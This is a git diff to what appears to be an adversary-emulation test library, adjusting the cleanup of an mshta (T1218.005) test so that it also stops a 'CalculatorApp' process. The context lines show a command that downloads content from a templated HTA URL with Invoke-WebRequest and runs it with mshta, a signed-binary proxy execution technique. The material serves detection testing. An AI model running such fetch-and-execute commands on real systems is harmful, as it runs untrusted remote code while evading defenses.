diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 2a77d649..63d922f2 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -19240,7 +19240,8 @@ defense-evasion: $var.content|out-file "#{temp_file}" mshta "#{temp_file}" start-sleep -s 15 - stop-process -name "calculator" -Force + stop-process -name "calculator" -Force -ErrorAction Ignore + stop-process -name "CalculatorApp" -Force -ErrorAction Ignore cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore ' diff --git a/atomics/Indexes/windows-index.yaml b/atomics/Indexes/windows-index.yaml index e444f40b..d2a85f2c 100644 --- a/atomics/Indexes/windows-index.yaml +++ b/atomics/Indexes/windows-index.yaml @@ -15783,7 +15783,8 @@ defense-evasion: $var.content|out-file "#{temp_file}" mshta "#{temp_file}" start-sleep -s 15 - stop-process -name "calculator" -Force + stop-process -name "calculator" -Force -ErrorAction Ignore + stop-process -name "CalculatorApp" -Force -ErrorAction Ignore cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore ' diff --git a/atomics/T1218.005/T1218.005.md b/atomics/T1218.005/T1218.005.md index f4c99506..037cd7b6 100644 --- a/atomics/T1218.005/T1218.005.md +++ b/atomics/T1218.005/T1218.005.md @@ -129,7 +129,8 @@ $var =Invoke-WebRequest "#{hta_url}" $var.content|out-file "#{temp_file}" mshta "#{temp_file}" start-sleep -s 15 -stop-process -name "calculator" -Force +stop-process -name "calculator" -Force -ErrorAction Ignore +stop-process -name "CalculatorApp" -Force -ErrorAction Ignore ``` #### Cleanup Commands: